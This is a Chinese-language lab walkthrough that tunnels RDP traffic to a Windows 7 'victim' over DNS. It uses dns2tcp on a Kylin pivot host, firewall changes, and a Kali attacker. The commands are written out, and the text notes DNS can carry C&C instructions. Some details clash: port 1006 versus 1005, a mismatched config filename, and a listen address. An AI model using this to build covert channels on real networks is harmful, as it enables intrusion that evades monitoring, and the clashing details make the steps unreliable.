DNS隧道实验
实验环境:
攻击机:kali (192.168.50.14)
跳板机:KyLin (192.168.50.12 ens33)
(192.168.136.147 ens37)
受害机:win7 (192.168.136.152)
因为本实验环境在内网,不存在DNS服务器,所以需要自己利用跳板机架设一台DNS服务器。DNS隧道是将tcp协议数据封装在dns协议中,在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。我们的跳板机就是这样一个互联网定制的DNS服务器,依靠DNS协议进行数据包的交换。从DNS协议角度看,此操作为查询某个特定域名并得到解析的结果,预期返回结果应该是一个IP地址,而事实上——返回的结果可以是任意字符串,包括加密的C&C指令。
使用工具:dns2tcpc, dns2tcpd, dns2tcpd.conf, ptunnel
实验步骤:
检查跳板机DNS连接性,或建立DNS服务器
1)服务器端配置:
安装好dns2tcp后,打开配置文件 /etc/dns2tcpd.conf , 将内容改为:
listen = 192.168.50.14 #指定服务建立地址
port =53 #指定监听端口
user =nobody
chroot =/tmp
domain = jsb.jts #设置域名
配置隧道代理资源,格式为“资源名称:IP地址:端口”,可配置多个,以,分割
resource = rdp:192.168.136.152:3389,ssh:127.0.0.1:22, smtp:127.0.0.1:25
此为我伪造云服务器公网IP
2)在麒麟跳板机上以root用户启动服务(在dns2tcpd.conf所在文件夹执行此命令)
su -root 变为root用户
dns2tcpd -f dns2tcp.conf -F -d 2 #添加-F选项,是程序在前台运行
启动服务后,将在指定地址和端口上开启服务
netstat -ulnp | grep : 53
结果为:
udp 0 0 192.168.50.14:53 0.0.0.0:*
KyLin默认开启防火墙,需要配置开启53端口。(方法同上,进入root用户模式)
方法一 (--permanent)永久添加
firewall-cmd --permanent --add-service=dns
开启后可进行查看
firewall-cmd --permanent --list-services
方法二 (--permanent)永久添加
53端口被添加到dns服务了,使用端口方式无效
firewall-cmd --permanent --add-port=1000/udp
开启后可查看
firewall-cmd --permanent --list-ports
使用--permanent选项时,需要刷新配置才能生效,不用该选项时直接生效,但重启失效
firewall-cmd --reload
攻击机配置
在kali上建立隧道
dns2tcpc -z jsb.jts -r rdp -l 1006 192.168.50.14(kali IP地址)
再打开一个终端页面,远程登陆受害机win7
rdesktop 127.0.0.1:1005